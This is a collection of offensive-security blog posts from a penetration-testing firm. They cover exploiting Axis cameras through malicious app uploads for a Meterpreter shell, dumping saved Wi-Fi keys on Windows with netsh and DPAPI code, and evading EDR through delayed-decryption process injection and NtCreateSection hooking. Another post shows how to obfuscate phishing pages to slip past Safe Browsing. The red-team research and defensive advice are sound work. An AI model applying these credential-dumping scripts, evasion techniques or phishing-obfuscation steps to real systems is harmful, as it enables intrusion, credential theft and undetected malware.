In this case, the APPTYPE used was aarch64 instead of armv7hf from the “Video Motion Detection” APP. First, we tried to embed our own shell script and execute it via the POSTINSTALLSCRIPT configuration parameter. But that unfortunately failed with different variations. After the project was already finished, we noticed another comment in the exploit, which states that sync and sleep commands are needed in between the malicious payload, so this might still work and is worth a try for anyone reading this blog. ;-)

Figure 5: Sync and sleep commands in exploit

But instead of just accepting what was written in the initial publication, we also tried to replace the liveprivacyshield elf binary with our own malicious one as a next step:

Figure 6: Replacing the liveprivacyshield binary

To get our final EAP application, we first need to compress our files into the tar format and then gzip compress them as mentioned before:

Figure 7: Creating the EAP file with tar and gzip

Be aware: If you don’t rename the .gz file to .eap, the installation of the APP will fail.

The APP can then be uploaded and launched automatically or manually:

Figure 8: APP uploaded and installed on the camera

As you might see, it’s possible to disallow unsigned APPs for installation. This might be configured on your target system as well and is therefore another source for a non working exploit. But in that case, it should be easily possible to just plug this option so that unsigned APPs are allowed again.

In our case, running the application leads to an incoming Meterpreter session:

Figure 9: Incoming Meterpreter session

However, the user is not root as in the original release, but a low-privileged, newly created service account. Later in this project, we found that different APPS run under different user accounts. However, in our case, manipulating the APPUSR parameter in the configuration did not result in a different user account being used. We leave it as an exercise for the reader to try other application and APPTYPE combinations to get root here.

3. Conclusion & Measures

For all the Red:

In general, if you’re in a penetration test and you’re struggling to get an exploit to work as it should in theory, don’t give up and dig deeper. It’s not about scanning and throwing PoCs at target systems, it’s about showing the client the biggest impact and risks to your scope. The next time you see an Axis camera in your project and are faced with the same behaviour, you will know what to do.

For the Blue:

The ability to get RCE by uploading a malicious APP is unlikely to be fixed at any point in the future, as it’s “by design” and has been known to the vendor for over six years. However, there are several things you can do to prevent this scenario in your environment.

1. Ensure that the management interfaces for the camera are placed on a secure network, accessible only by jump hosts or the administrators themselves. This will prevent most potential attackers from accessing them in the first place - therefore no vulnerability can be exploited. Don’t put the web interface on the perimeter so that it is accessible from the Internet (yes, we’ve seen this before).
2. Use strong, complex passwords for administrative accounts to prevent attackers from guessing or brute forcing credentials. Doing these two things will reduce the risk of misuse a lot.

This blog post was originally published on r-tec.net.

This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-wifi-credential-dumping.html

On the other hand side, the PSK is only a single-factor authentication, which is rarely changed on a regular base. If an attacker retrieves this key at some point, access to the company network can be maintained through any physical device near the company building afterwards. This blog won’t dive into any of the mentioned WIFI attacks, but will highlight techniques to retrieve the PSK from a workstation post-compromise instead.

But Why?

Post compromise? Does it make sense for an attacker to retrieve a PSK when access to a domain system is already there? From our point of view - yes, of course. Even after getting initial access to some client system or server, a detection could always lead to the attacker being kicked out of the network again. For persistence purposes, a key could be used to regain access. We also often see company networks using WPA2 PSK for production networks, development networks, or other critical areas instead of the Office IT network. In those cases, retrieving the PSK can also lead to Lateral Movement into those protected networks. So yes, there are reasons for an attacker to dump these credentials post-compromise.

1. Finding WIFI profiles with credentials

Enumeration on how to find connected WIFI networks can be done via different ways. The builtin Windows binary netsh.exe can for example be used to get information about saved WIFI profiles:

netsh wlan show profiles

This can also be done from a low privileged user’s perspective.

Figure 1: Displaying the saved WIFI profiles with netsh, executed from C2 framework

WIFI profiles are typically stored in .xml files in the folder C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces on a Windows Operating System. The following PowerShell code could be used as an alternative to retrieve SSIDs, which have a PSK saved:

function Get-Saved-Wifis{
    Get-ChildItem -Path "C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces" -Filter "*.xml" -Recurse | ForEach-Object { 
        $xmlContent = [xml](Get-Content $_.FullName)
        $profileName = $xmlContent.WLANProfile.name
        $authType = $xmlContent.WLANProfile.MSM.security.authEncryption.authentication
        $password = $xmlContent.WLANProfile.MSM.security.sharedKey.keyMaterial

        if ($password -ne $null -and $password -ne "") {
            "$profileName - $authType"
        }
    }
}

Figure 2: Retrieving saved WIFI profiles via reflective PowerShell execution

2. Extracting the cleartext PSK

To extract the PSK from saved WIFI networks you will need to be either in an elevated process (local administrator) or in the context of the user who initially configured this WIFI connection. So typically Privilege Escalation must already have taken place or some client administrator user account being obtained. The most common and documented way to get the cleartext PSK is by also using netsh again. You just need to specify the target WIFI SSID and key=clear arguments like this:

netsh wlan show profile "TargetSSID" key=clear

Figure 3: Extracting the cleartext key via netsh

There are multiple public scripts already, which automate this process for all found SSIDs. However, I found that depending on the OS language (or other factors) the parsing of the SSID/PSK didn’t work correctly. Therefore, my personal approach would be to output all information and manually look for the PSK myself:

netsh wlan show profile | Where-Object { $_ -match ': (.+)$' } | ForEach-Object {
    $ssid = $matches[1].Trim()
    netsh wlan show profile name=$ssid key=clear
}

In heavily monitored environments, however, process creation and usage of native Windows binaries is considered as not OPsec safe, as it’s super easy to build a detection rule for this technique and you might get flagged + the PSK gets changed in the worst case.

So we need to find out what’s happening in the background for alternatives to retrieve the PSK. Little research on the topic shows, that DPAPI encryption is used to protect the WIFI PSK key material in the already mentioned .xml files.

Figure 4: Key material in the XML file

The encryption is not done in the context of the current user but instead with the LocalSystem secret. As I recently built a PoC to decrypt Veeam MSSQL DPAPI saved credentials, I knew, that decryption for LocalSystem DPAPI saved credentials can be done from an elevated context. I slightly modified the WheresMyImplant code for a standalone C# assembly and tried to decrypt the DPAPI secrets, which failed:

Figure 5: DPAPI decryption fails

Well, it looks like the DataProtectionScope of LocalSystem is not equal to LocalSystem or there is at least some missing piece of the puzzle. Doing the same thing after impersonating the SYSTEM account however, did lead to successful cleartext credential retrieval:

Figure 6: DPAPI decryption succeeds as SYSTEM

A modified version of the WIFI credential dumping code, which includes impersonation of the SYSTEM account before decryption can be found here:

https://gist.github.com/S3cur3Th1sSh1t/ca315ccd46ae4b28c0abb4b450cbeedb

Impersonation of SYSTEM on the other hand, is also alerted or blocked by some EDR vendors via userland hooks, so consider doing proper unhooking before using this code. I was wondering at this point - are there alternatives to SYSTEM impersonation? Asking the community resulted in a proper answer by subat0mik here. As already implemented in SharpSCCM it’s also possible to modify the LSA Secrets key DACLs, so that non-SYSTEM users can retrieve the masterkey.

What sounds easy here resulted in >1000 more lines of code in the PoC for WIFI credential extraction, as no Windows API can be used for DPAPI decryption with custom masterkeys but instead, the whole process needs to be done manually. Luckily for us, projects like Mimikatz, SharpDPAPI or SharpSCCM contain all the needed logic/code already. The modified PoC can be found here:

https://gist.github.com/S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5

Figure 7: Elevated DPAPI decryption

3. Conclusion

At this point, it should be clear, that using WPA2 PSK for Office-IT network access or other sensitive production networks is not a very good idea. The best recommendation practice is to use WPA2/3 Enterprise with Multi-Factor-Authentication. Domain authentication with username and password is also not sufficient here due to potential Phishing attacks.

On the other hand side from the attacker’s perspective, it’s definitely worth taking a look at connected WIFI networks. Getting the PSK can be used for Persistence as well as Lateral Movement depending on the target network configuration.

DPAPI encryption with LocalSystem is not equal to DPAPI encryption with LocalSystem, as we saw in the manual decryption part. The key, which is used to encrypt the PSK is not the same as the one being used by the DPAPI Windows APIs. Or at least, it can only be used by the SYSTEM user itself or by manually modifying the LSA secret registry DACLs to get the masterkey for manual decryption.

This blog post was originally published on r-tec.net.

This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html

This technique has for example the following typical use cases:

• Impersonate another user by injecting into his process
• Hide Command & Control (C2) traffic within a process, that does regular network connections
• Hide in general by running from within a legitimate system process instead of a non-trusted/new one

The most well-known and obvious approach to do this is via using the following Windows APIs:

Figure 1: Exemplary Process Injection APIs

First, a handle to the remote process is retrieved (OpenProcess). Virtual Memory (RAM) is allocated within that remote process (VirtualAllocEx), to afterwards write the shellcode into that newly allocated memory region (WriteProcessMemory). In the last step, this code is executed by for example creating a new thread via CreateRemoteThread.

When using known malicious code such as Open Source C2-Framework implants, this combination of APIs however will get you caught very easily in a mature company environment. An EDR running on the endpoint can spot the known malicious code by utilizing Userland-Hooks or ETWti/Kernel Callbacks. Many EDR vendors still make heavy use of Userland-Hooks, but more and more vendors tend to use ETWti only as an alternative due to it being harder to bypass as it’s running in Kernelland. This Blog won’t go deep into the topic of how Userland-Hooks or ETWti/Kernel callbacks work, as this is already heavily documented in several blog posts. I wrote two personal Blog posts already about bypassing Userland-Hooks with summarizations of existing techniques:

• https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
• https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/

The second Blog post also explains a new approach including a Proof of Concept tool release Ruy Lopez.

Instead, this Blog will show a novel way to avoid detections for Process Injection triggered by ETWti from Kernel.

1. Avoiding detections coming from Kernelland

Kernel Callbacks can be used, to intercept/interact execution of processes on start or runtime. From my perspective, it is somehow imaginable like hooks with the difference that they are triggered after Syscall executions from within the kernel. There are different Kernel Callbacks that be used to check for potential malicious activity such as PsSetCreateProcessNotifyRoutine() to know about newly spawned processes and to check those before they get started or PsSetCreateThreadNotifyRoutine() to check newly created Threads and their entrypoint for known malicious code. If some malicious behavior is found/verified, the process can be killed for example and an alert is raised.

ETWti is an interface provided by Microsoft, where drivers can subscribe to receive special ETW events. These events are specifically meant to be used for detecting malicious activities and also include events such as Process creation, Allocation of memory, Thread creation, and much more.

So our shown Process Injection API example could easily get detected via Kernel Callbacks or ETWti, even if we were using (In)-Direct Syscalls, Stack Spoofing, and whatever else techniques to avoid detections. This is because, in the moment of creating a new Thread in a remote process, the EDR can trigger a Yara-rule memory scan of the remote process memory sections and or Thread entrypoint to spot the known malicious code.

In many cases, however, not only the execute primitive (Thread creation/continue, Queuing an APC, […]) leads to a detection but the whole combination of events:

Figure 2: Suspicious combination for Process Injection

The memory scan is a very important piece of this puzzle, as vendors tend to verify malicious behavior before preventing execution to not have too many false positive events. There are applications doing code Injection or hooking for legitimate Use-Cases and only blocking execution due to a specific combination of APIs could interrupt production environments, which is not desired. Imagine a company buys an EDR software, which constantly alerts on legitimate processes or kills legitimate processes. This company would want to get rid of the software as fast as possible. So verification actually makes perfect sense and using a memory scan to check for known malicious code is a good way to do so.

How does it look like when you got flagged by behaviour or a memory scan? The detection nowadays typically also includes the name of the known malicious implant like that:

Figure 3: Cobalt Strike specific detection

Figure 4: Havoc specific detection

One way to get rid of such detections would be to obfuscate/change the code base (Open Source only) or to use self-written C2 Frameworks. This way, the Yara memory scan would not find a matching malicious code anymore. But of course, this may include a lot of resources/effort.

2. Introducing Caro-Kann

After getting my hands dirty with self-written PIC-Code for the first time in developing Ruy-Lopez, a new world of ideas opened up in terms of malware development. You get full control of execution which led to another EDR bypass idea from my side. The idea for Caro-Kann was as follows:

Figure 5: Caro-Kann workflow

The Malware in this case injects two, instead of the one known malicious shellcode. The known malicious shellcode in this case is still encrypted and written into a READ_WRITE protected memory page. A second custom self-written shellcode is injected into a small READ_EXECUTE memory section and the execute primitive points to this code instead of the actual implant code. As we do not prevent ETWti events or Kernel Callbacks from occurring at all, the typical memory scan for verification is triggered. The custom shellcode Sleeps for an amount of x seconds and therefore does nothing suspicious at all. In this time slot, the memory scan will not find any known malicious code, as READ_WRITE protected pages may not have been scanned but even if so – the payload is still encrypted and therefore not found. The good thing here is, that this technique does not need any elevated privileges (such as the Driver exploitation tools, which were hyped in the last months), as it completely runs from Userland. Therefore it is also suitable for initial access payloads.

Figure 6: Custom shellcode Workflow

After Sleep, the READ_WRITE encrypted payload is decrypted and the memory protection is changed to READ_EXECUTE so that it can get executed. Execution takes place with a direct JMP instruction, as this does not lead to any ETWti events being generated and does not trigger any Kernel Callback.

You might wonder about how the custom shellcode knows about which memory address to decrypt and which shellcode length to use. In the published PoC I used an egg-hunter in the host process doing the injection. This process knows about the memory address and shellcode length and can therefore overwrite the eggs in the custom shellcode:

Figure 7: Egg-hunter output from the injector

Caro-Kann can be found here:

• https://github.com/S3cur3Th1sSh1t/Caro-Kann

Difference to existing tooling:

This technique could somehow be compared to other long-time existing techniques. Shellcode encoders like Shikata ga nai (SGN) also encrypt shellcode and decrypt it on runtime. If you encode your shellcode multiple hundreds or thousands of times via it, there is also a time delay which could prevent memory scans from finding the known malicious payload. But I made some tests against EDRs with it – leading to detections all of the time. So I’m assuming that at least some EDR vendors can debug/unpack SGN payloads already, which makes this alternative less effective.

3. OPSEC Improvements

Even though the public Proof of Concept is using the initially mentioned “unsafe” Win32 API combination, it bypasses both Userland-Hook detections and the memory scan trigger from Kernel due to encryption & Sleep. But this doesn’t mean you won’t pop an alert in a mature environment using this technique. As ETWti events are still logged and evaluated, the Process Injection behavior itself can generate Alerts by EDR vendors like this one:

Figure 8: Suspicious Process Injection Alert

This is a Medium Alert, which is generated out of the following combination of events:

• Allocation of new memory in the remote process (VirtualAllocEx / NtAllocateVirtualMemory)
• Injection (WriteProcessMemory / NtWriteVirtualMemory) into the remote process
• Thread creation (CreateRemoteThread / NtCreateThreadEx)

As long, as you’re using this combination of APIs – this Alert will get generated. This is by the way the same Alert you will see when using Direct Syscalls, as those also do not bypass ETWti events:

Figure 9: Direct Syscall Injection Alert

To get rid of such detections, you will therefore need to use alternatives for memory allocation or shellcode execution. For memory allocation, a non-exhaustive list of alternatives could be the following:

Figure 10: Find Existing RWX Sections & SetWindowsHookEx

References for finding existing RWX sections or SetWindowsHookEx are e.g. the following:

• https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
• https://twitter.com/MrUn1k0d3r/status/1627678626584883200

By for example overwriting existing memory, you can get rid of memory allocation ETWti events. This could be the .text section of a DLL (Module Stomping) or other existing RWX regions (for example Mockingjay).

For the execute primitive, two public non-ETWti event alternatives would be ThreadlessInject or DllNotificationInjection:

Figure 11: Execute primitive alternatives

Some alternatives for the Inject/Write primitive were also outlined by @x86matthew in his blog posts:

• https://www.x86matthew.com/view_post?id=writeprocessmemory_apc
• https://www.x86matthew.com/view_post?id=proc_env_injection

Both alternatives however create Threads in the remote process with corresponding ETWti events and the second could “only” be implemented for Spawn/Inject loaders.

You could also get rid of generic Process Injection Alerts by changing VirtualAllocEx to Module Stomping and CreateRemoteThread to ThreadlessInject techniques. There is a public implementation of both techniques combined already by @OtterHacker:

• https://github.com/OtterHacker/Conferences/tree/main/Defcon31

C2-Considerations:

Caro-Kann is there to bypass the initial Process Injection-related memory scan. But as EDRs might also do memory scans after observing specific behaviors or just regularly in an interval of x minutes for all processes you might still get detected later on. To avoid such detections you should prefer to use C2-Frameworks with built-in sleep encryption (Such as Ekko) or as an alternative add your own Sleep encryption into them.

4. Closing words

More and more EDRs tend to trigger detections from Kernel which cannot easily get bypassed from Userland anymore. Especially Process Injection without getting detected got much harder so many Operators just don’t use this anymore for not getting detected.

But most vendors (for good reasons) tend to verify known malicious before preventing execution via memory scans. By hiding the known malicious at the time of the execute primitive it’s therefore enough to still get a known malicious implant to run via Process Injection. The Proof of Concept Caro-Kann demonstrates that by injecting a second custom shellcode, which sleeps, decrypts the known malicious on runtime and jumps to it.

The published PoC is not OPSec safe, as it will probably still generate generic Injection alerts. But by leaving out APIs that generate ETWti events (such as memory allocation and Thread creation) from the chain, these can also get bypassed. Exercise for the reader. ;-)

As only the initial memory scan gets bypassed via the published technique, you should consider using C2-Frameworks with Sleep encryption or implementing it into existing Frameworks yourself, as otherwise you might get caught by regular interval scans.

This blog post was originally published on r-tec.net.

This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-evade-signature-based-phishing-detections.html

According to google:

“Safe Browsing is a Google service that lets client applications check URLs against Google’s constantly updated lists of unsafe web resources. Examples of unsafe web resources are social engineering sites (phishing and deceptive sites) and sites that host malware or unwanted software. Come see what’s possible.

With Safe Browsing you can:

• Check pages against our Safe Browsing lists based on platform and threat types.
• Warn users before they click links in your site that may lead to infected pages.
• Prevent users from posting links to known infected pages from your site.”

1. Safe Browsing in action

What could a typical phishing scenario from a Pentest/Red-Team look like nowadays? Especially after the pandemic and many more companies joined at least with a hybrid model into the Azure Cloud, the Microsoft Login Page seems to be a valuable target. There are plenty of publicly available Phishing templates for it already:

Figure 1: Github search for Microsoft Login Phishing pages

Some of these give the same feeling and look like the original login page:

Figure 2: Fake Microsoft Login page

However, if you embed this template code into your GoPhish instance and send E-Mails to a target organization, the website will be accessible only for a few minutes. Because as soon as the e-mails are sent, automatic scans of the phishing page might be triggered, causing a Google Safe Browsing categorization and leading to your page looking like this for victims:

Figure 3: Firefox Google Safe Browsing alert

This is not only true for chrome, but also for all other browsers (as they all use Safe Browsing at the very end) and may look different on the end user side:

Figure 4: Edge Defender SmartScreen alert

Users could potentially ignore the alert, but this is very unlikely due to several steps as well as the appearance of the warning. So in the very end, we can assume that this is an effective and good protection mechanism.

2. Evading Safe Browsing

To avoid this kind of detection from an attacker’s perspective, we need to know exactly what gets us caught. However, the very first assumption here is simple: We used a publicly available phishing template and a scanner marked this as malicious content and classified it like that. This reminds us of the Antivirus/signature-based approaches, right?

If this is true, we could bypass this kind of detection by obfuscating the HTML code and decrypting it on runtime, just as a Packer would do to avoid signature-based detections against an Antivirus. When thinking about it, this process makes more sense in JavaScript, because this is typically only executed within a Browser when the victim visits the page. A scanner could only see some fake HTML content, plus random obfuscated strings and JavaScript content, but not the real page behind it.

Note: This is nothing new at all, Threat Actors use techniques like this already for years.

And there are also different HTML Smuggling/Obfuscation PoC’s public that could be used for our purpose, such as the following for example:

• https://github.com/BinBashBanana/html-obfuscator

Figure 5: Obfuscating our Microsoft Phishing page

In this example, the tool combines URL + BASE64 encoding. First, it URL encodes the HTML body and then encodes it with BASE64 on top of it.

Figure 6: Decoding the payload from BASE64 with BurpSuite

To verify, that Safe Browsing does not catch our newly generated page, we triggered different scans on it via VirusTotal plus other URL malware analysis services. Moreover, even on the next day, Safe Browsing did not categorize the site as malicious.

Therefore, we indeed verified, that at least some Safe Browsing checks are done on the HTML content itself and that this kind of scans can be bypassed by obfuscating the HTML code and de-obfuscating it on runtime. We however do not recommend using any public obfuscators here, as the resulting content – especially with BASE64 and URL-Encoding, can still easily get flagged with signatures. It is recommended to build your own obfuscator for Pentest or Red-Teaming projects.

If you are using encryption, you also might want to reduce the entropy of your HTML page by adding invisible HTML content or even more non-used JavaScript code.

3. Conclusion

Phishing protection features implemented by big vendors to increase the security for company organizations and individuals are really helpful to protect against known malicious pages or software and made life somehow harder for Pentest- or Red-Teams in the last years.

In the specific example of Google Safebrowsing however, it turned out that detections are somehow based on signatures and can therefore easily be bypassed by obfuscating the original code and de-obfuscating it on runtime in the Browser via JavaScript.

This technique is nothing new and has already been used for years by Threat Actors. Still, we did not need to use it until some months ago, we never faced Safe Browsing based detections before. This blog can therefore help other Pentest- or Red-Teams simulating phishing attacks to customize their campaigns and landing pages.

This blog post was originally published on r-tec.net.

This post will cover the background and description of the technique.

How do EDRs typically detect malicious activities?

Endpoint detection and Response (EDR) systems detect malicious activities or software in various ways. The detections can occur from userland (where the user processes run) or from kernelland (operating system level).

Typical analysis/detections from userland include:

• Static & dynamic analysis
• Userland hooking
• Stack trace analysis

Whereas static analysis can be for example signatures for files (like any AV uses) or checking metadata such as certificates and their validity. Dynamic analysis can include active debugging of an executable, or putting it into a sandbox-like environment to see what it does on runtime.

Stack trace analysis can show, if an process was for example executing specific Windows APIs from an unbacked memory region (dynamic code in a private commit memory section, very likely shellcode) which is super suspicious.

Detection coming from kernelland typically make use of:

• Kernel Callbacks
• ETW Threat Intelligence (ETWti)

EDRs typically use a signed driver to also operate from kernelland. By doing this, they can check specific Kernel Callbacks for any running process to live intercept execution for those and execute their own code before the process resumes with whatever it will do afterward. If for example a new process is created, the EDR can intercept its execution and check what has to be executed with the Kernel Callback PsSetCreateProcessNotifyRoutine(). But they could also live intercept the creation of new threads with PsSetCreateThreadNotifyRoutine() to check their entrypoint for malicious code. As the code is running from the kernel, any mistake could lead to a system-wide bluescreen, which could be one reason for vendors to not make heavy use of it.

ETWti is an interface provided by Microsoft, where drivers can subscribe to receive special ETW events. These events are specifically meant to be used for detecting malicious activities and also include events such as for Process creation, Allocation of memory, Thread creation and much more:

For this blog post and technique, we will however focus on userland hook-based detections, as those at least from my experience are still the most relevant detections being mainly used by nearly all EDRs.

What are userland hooks about?

For being able to do live analysis of userland processes, EDR vendors and most AV vendors as well load their own Dynamic Linked Library (DLL) into running processes on an operating system. After this DLL is loaded in a process, it will patch memory regions of chosen Windows APIs to place a hook, which is basically an JMP instruction going to their own DLLs memory region.

Via this, they can live intercept Windows APIs from being called on runtime of a process and inspect the input arguments for the Windows API being executed to check what it wants to do on runtime.

Let us imagine the following process for malware to execute shellcode in a remote process for a better understanding:

First, the malware gets a Handle to the remote process by using OpenProcess. Afterwards it calls VirtualAllocEx to allocate memory in the remote process. WriteProcessMemory is used to actually write the Shellcode into the remote process newly allocated memory region. In the end, CreateRemoteThread is used to execute the Shellcode in the remote process in a newly created Thread. We also imagine, that the Shellcode was encrypted and decrypted on runtime before writing it into the remote process with WriteProcessMemory to avoid signature based detections. CreateRemoteThread will after being called itself call NtCreateThreadEx from ntdll.dll, which is the last function being called from userland. As ntdll.dll functions are the last ones being called from userland, many vendors tend to hook functions from this specific DLL.

An example definition for NtCreateThreadEx looks like the following:

The EDR can inspect input arguments when hooked APIs are called on runtime, right? So in this case, the EDR could inspect the input parameters for NtCreateThreadEx and especially the startAddress input pointer. When a malware wants to start Shellcode in a new Thread, the startAddress will typically point to the already decrypted plain Shellcode, e.G. an C2 implant. Our EDR can now apply Yara-Rules (memory scan) on the startAddress memory region to find any known malicious C2 implants, such as CobaltStrike, Sliver, Covenant and so on. And if a rule matches, they know that malicious software wants to be called and therefore just kill the process.

So in the very end our malware has been stopped by the EDR on runtime, based on userland hook-based detections + verification of known malicious code.

Existing Userland hook evasion techniques

Several different tools and techniques have been released over the last years, which are capable of bypassing userland hook-based detections. I will give a summary here, but won’t go into depth as there are many other articles to read about or code to check in the links.

1. Unhooking
2. The usage of direct Syscalls
3. Using Hardware Breakpoints
4. Patching the DLL entrypoint

Unhooking

With unhooking, a fresh copy of ntdll.dll is grabbed from any location (Disk, KnownDlls) and the EDR patched memory region with jumps to the EDR DLL is replaced with the original value of ntdll.dll. This effectively bypasses hooks, as no more jumps will take place and no more input argument analysis is done.

Direct Syscalls

Instead of calling ntdll.dll functions the regular way, their content can also be retrieved or re-build on runtime and executed directly from the current process memory. If we have our own ntdll.dll functions in our own process memory, there will also be no hooks in place, as those are only in the ntdll.dll memory location, which also leads to a bypass here. Proof of Concepts for different retrieval techniques are for example the following:

1. Re-build ntdll.dll functions with information from Memory (HellsGate, RecycledGate,*-Gate)
2. Get a fresh ntdll.dll copy from Disk and put the function content to memory (GetSyscallStub, e.G. C DInvoke)
3. The Syscall Stubs are partially or completely embedded in the malware executable from the beginning - (Syswhispers 1,2,3)

Usage of Hardware Breakpoints

The first PoC I know about which was using Hardware Breakpoints to evade userland hooks was TamperingSyscalls. The process looks like the following:

By placing Hardware Breakpoints to the ntdll.dll function we want to call afterward, we can effectively intercept execution before the jump to the EDR DLL takes place. In that moment, we hide the input parameters for this specific function from the stack by replacing it with arbitrary values and we back the original values up in another location. Afterwards, execution is resumed and the EDR hook will take place. But the EDR won’t see the original input parameters and therefore cannot detect/verify any malicious activities.

The first original PoC was then single stepping forward, till the Syscall instruction itself would be called. But before actually calling it, the original input parameters will be restored to the stack, so that the function will work as expected.

Patching the DLL entrypoint

CCob released a blog Post and the tool SharpBlock in 2020. This technique works as follows:

1. Create a new Process with the DEBUG_ONLY_THIS_PROCESS flag. This leads to the parent process being capable of acting as a debugger for the new process. As Debugger, we can intercept execution for specific events and execute code before resuming execution.
2. As Debugger, the parent process waits for LOAD_DLL_DEBUG_EVENT events, which appear after DLLs were loaded into a process but before something out of them was executed.
3. The parent process checks the DLL being loaded. If it was the EDR DLL, it will patch the Entrypoint from it with 0x3c - return, so that the DLL will afterward instead of placing hooks just return and exit.

Effectively, no DLL is there anymore and no hooks are placed in the new process.

The Idea for a new approach

I had the idea for a new approach after reading the following Blogpost by Alejandro Pinna:

• https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/

The technique described here is capable of preventing DLLs from being loaded into a process by placing hooks ourself to API functions being involved into the process of loading a DLL and mapping it into memory. It can be used to e.G. prevent amsi.dll from loading into the current process before calling assembly::load(), so that it leads to an AMSI bypass.

In more detail the exemplary function NtCreateSection was hooked, so that when the target DLL memory section wants to get created we can intercept this process and return NTSTATUS fail. If NtCreateSection fails, the mapping to memory also cannot be done which in the very end leads to the DLL not getting loaded at all.

But this approach can only be applied to DLLs, that were not loaded yet in the current process.

The problem with EDR DLLs

EDRs basically act like the white player in a chess game. They can after receiving a Kernel Callback for a new process getting created directly load their own DLL into the process memory. So in a good implementation (some vendors don’t do that), the DLL will get loaded instantly after ntdll.dll. And it will get loaded into basically any userland process (besides you may find some exceptions).

This leads to the fact, that we cannot hook NtCreateSection to prevent EDR DLLs from being loaded, as they are always loaded already in our own process.

Solvable?

But - if we create a new suspended process, only ntdll.dll will be loaded:

tProcPath = newWideCString(r"C:\windows\system32\windowspowershell\v1.0\powershell.exe")

status = CreateProcess(
    NULL,
    cast[LPWSTR](tProcPath),
    ps,
    ts, 
    FALSE,
    CREATE_SUSPENDED or CREATE_NEW_CONSOLE or EXTENDED_STARTUPINFO_PRESENT,
    NULL,
    r"C:\Windows\system32\",
    addr si.StartupInfo,
    addr pi)

So my idea was basically (setzt genau an dieser Stelle an). ntdll.dll is already loaded, NtCreateSection is contained there. We can therefore place a hook into our newly created suspended process and write custom self written Shellcode into it, which handles this hook to prevent specific DLLs from being loaded/mapped into its memory. All we need to do is the following:

1. Create a suspended process
2. Allocate memory for our custom Shellcode and write it into that region
3. Remotely place a hook on NtCreateSection which jumps to our Shellcode
4. Resume the process
5. We are in control for DLL-loads

Sounds simple? Well, as least for me in the actual implementation it wasnt.

Challenges in the implementation

PIC Code

We have to write custom Shellcode. I personally never did that before in a project, so this was the first time. To write PIC-Code, we need to take care of some things:

• Everything should only exist in the .text section of the compiled executable. That is the dynamic (position independent) part of an executable, which we can extract to have PIC-Code.
• We cannot use any global variables anymore (they are not placed in the .text section) - we therefore have to find alternatives to exchange information in between different functions
• All Windows APIs being called need to be resolved dynamically
• The mainCRTStartup routine needs to be replaced with our Entrypoint for proper execution
• This is specific to this PoC only: We can only use ntdll.dll functions, because when our hook is hit the process is not even fully initialized yet. We also cannot load other DLLs at that moment, it will lead to a process crash. Alternatively, we could wait for process initialization to finish and only apply our logic from that moment on, but I didnt implement it like this myself.
• Many comfortable functions, which you may want to use are not usable for writing PIC-Code. Such as charcmp, StrStrIA, strlen, memcpy and more. So in my case, I manually coded the logic for these functions, or Github Copilot did after writing a comment with what I wanted to achieve ;-)
• I learned, that debugging PIC-Code is a pain. Especially when only being capable of using ntdll.dll functions. So I ended up writing a custom logger function, which can give some information about what happened in case of troubleshooting.

Original NtCreateSection value

As stated earlier, our technique will hook NtCreateSection in the new process. So when this process is resumed, the original value does not exist anymore in its process memory. But as we don’t want to prevent each and every NtCreateSection call, we need to restore the original value at some point to still be able of creating Sections for other DLLs or object Handles. In the very end its a Syscall Stub, so you could use any existing technique for direct Syscall retrieval and execution such as TartarusGate or GetSyscallStub or whatever, but only by using ntdll.dll functions. For my initial PoC however, I decided to use an egghunter in the host process with an egg placed in the Shellcode. The original host process can retrieve the original NtCreateSection value before placing the hook and replace the egg in the Shellcode with that original value, so that the Shellcode itself can restore the original value on runtime.

void originalBytes() { // used to store the original bytes of the function we are hooking. This function can be used in PIC to exchange information between functions, as global variables cannot be used. Thanks @Mr-Un1k0d3r for the hint.
    asm(".byte 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37 ");
}

Stack Alignment?

If you take a look at existing PIC-Code implementations on Github, such as Handlekatz, or blog posts, you will notice, that these have a small embedded ASM-Stub which looks like this:

extern entryFunction
global alignstack

segment .text

alignstack:
    push rdi                    ; backup rdi since we will be using this as our main register
    mov rdi, rsp                ; save stack pointer to rdi
    and rsp, byte -0x10         ; align stack with 16 bytes
    sub rsp, byte +0x20         ; allocate some space for our C function
    call entryFunction          ; call the C function
    mov rsp, rdi                ; restore stack pointer
    pop rdi                     ; restore rdi
    ret                         ; return where we left

This is typically used to align the stack for 16-byte code. But this code cannot be used in our implementation, as it modifies the stack. And modifications to the stack lead to corrupting input arguments of NtCreateSection. When our Shellcode is called, we therefore need to not modify the stack at all but instead directly jump to our entrypoint function which handles the hook:

Good news, we also don’t need to align the stack at all in this case, as that is already done by the function calling NtCreateSection.

Choosing the correct NTSTATUS return value

Each process/software handles calls to NtCreateSectiondifferently and also behaves differently depending on the returned NTSTATUS call. Some may just ignore the value, others will try to repeat the call infinitely, and so on. When fiddling around with an initial PoC to prevent amsi.dll from being loaded into a newly spawned Powershell process for example, I noticed, that when returning NTSTATUS 0, Powershell will crash. This is due to the Windows OS and or Microsoft believing, the Section was created successfully and therefore just continuing execution as normal and not handling the resulting crash. But when passing an error like 0xC0000054 - STATUS_FILE_LOCK_CONFLICT, this error will get handled correctly and amsi.dll will not get loaded but Powershell will still start.

However, when using an error code for different executables or EDR DLLs, you may see an GUI error message with your STATUS call. As long as no one presses okay, execution is not resumed. I personally had the best experience with still returning NTSTATUS success for blocking EDR DLLs, but if you face some problems try fiddling around with that value.

The Proof of Concept - Ruy Lopez

You might remember the EDR typically acts as the white player in a chess game? Well, with the approach from this post we as malware act like the white player, because we are even in the remote process before the EDR DLL is loaded and can prevent it from being loaded. Therefore I decided to name the initial Proof of Concept Ruy Lopez, a white player starting technique from chess. :-)

